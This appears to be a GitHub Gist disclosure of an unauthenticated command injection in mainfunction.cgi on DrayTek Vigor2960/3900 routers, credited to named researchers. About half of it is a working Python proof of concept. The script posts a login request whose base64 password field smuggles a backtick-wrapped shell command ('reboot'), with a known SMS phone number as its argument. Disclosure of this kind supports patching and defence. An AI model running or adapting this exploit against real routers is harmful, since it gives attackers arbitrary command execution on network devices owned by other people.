Instantly share code, notes, and snippets.

Cossack9989 / **DrayTek-Vigor-CMDi.md** Secret

Last active 9 months ago

☆ Star

Code Revisions 3 Stars 1 Forks 1

DrayTek-Vigor-CMDi.md

## An unauthorized Command Injection @ mainfunction.cgi

- Products: DrayTek Vigor2960/3900
- Firmware: < version 1.5.1.1
- Severity: high

We found an unauthorized CMDi @ mainfunction.cgi with the precondition that the router can be authorized by SMS. The vulnerability will be triggered by `frompassword` value containig injected commands such as "123456`reboot`".

If the router supports login by SMS and the user's phone number or the content of `/var/sms_phone_auth` is known by the attacker, then the attacker will be able to inject arbitary command by an evil payload such as the injection of `reboot` as the payload below.

```
from sys import argv
from base64 import b64encode
import requests

data = {
    "URL": "192.168.1.1",
    "HOST": "http://192.168.1.1",
    "action": "authuser",
    "formusername": b64encode(b"test").decode(),
    "formpassword": b64encode(b"12345678`reboot`").decode(),
    "PHONENUMBER": argv[1] # the known phone number
}
header = {
    "Content-Type": "application/raw"
}
url = {
    "root": "http://192.168.1.1",
    "cgi": {
        "root": "/cgi-bin",
        "uri": {
            "mf": "/mainfunction.cgi",
        }
    }
}

def build_url(p1, p2=None):
    if p2:
        return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
    else:
        return url["root"] + url[p1]

session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)
```

**Founder**:

- C0ss4ck @ NJUPT (email: c0ss4ck9989@gmail.com)
- Swings @ Chaitin (email: weiming.shi@chaitin.com)
- MozhuCY @ NJUPT (email: mozhucy@gmail.com)